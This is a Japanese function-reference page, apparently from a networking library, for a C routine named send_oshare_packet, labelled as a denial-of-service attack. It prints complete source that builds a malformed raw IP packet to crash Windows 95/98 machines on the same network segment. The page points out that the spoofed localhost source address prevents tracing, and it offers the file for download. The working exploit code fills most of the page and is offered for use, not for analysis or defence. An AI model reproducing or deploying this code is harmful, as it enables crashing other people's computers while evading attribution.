send_oshare_packet おしゃれパケット送信
[DOS Attack] [HedHat 5.2]
形式 int send_oshare_packet( int sock_send, u_long dst_addr )
include sys/socket.h
netinet/ip.h
netinet/tcp.h(__FAVOR_BSDモード)
arpa/inet.h
内容  Windows95〜98マシンをクラッシュさせる”おしゃれパケット”をdst_addrへ1パケット送信する。sock_sendには、RAWモードでオープンしたソケットディスクプリタを指定する。送信する際、発信元アドレスはローカルホスト(127.0.0.1)となっているので逆探知は不可能だが、その反面、ネットワークによってはフィルタリングされる可能性がある。また、同一セグメント内でしか使えない(おしゃれパケットの仕組みを参照の事)。
戻り値  malloc()、memset()に失敗した場合は-2を返し、パケットの送信に成功した場合は送信バイト数を、失敗した場合は-1を返す。
ソースコード

int
send_oshare_packet( int sock_send, u_long dst_addr )
    {
    char    *packet;
    int send_status;
    struct  iphdr       *ip;
    struct  sockaddr_in to;
    
    packet  = ( char *)malloc( 40 );
    ip      = ( struct iphdr *)( packet );
    memset( packet, 0, 40 );
    
    ip->version     = 4;
    ip->ihl         = 11;
    ip->tos         = 0x00;
    ip->tot_len     = htons( 44 );
    ip->id          = htons( 65535 );
    ip->frag_off    = htons( 16383 );
    ip->ttl         = 0xff;
    ip->protocol    = IPPROTO_UDP;
    ip->saddr       = htonl( inet_addr( "127.0.0.1" ) );
    ip->daddr       = dst_addr;
    ip->check       = in_cksum( ( u_short *)ip, 40 );
    
    to.sin_family       = AF_INET;
    to.sin_port         = htons( 0x123 );
    to.sin_addr.s_addr  = dst_addr;
    
    send_status = sendto( sock_send, packet, 40, 0,
                         ( struct sockaddr *)&to, sizeof( struct sockaddr ) );
    
    free( packet );
    return( send_status );
    }
	
サンプル  おしゃれパケット仕組み
ダウンロード  send_oshare_packet.c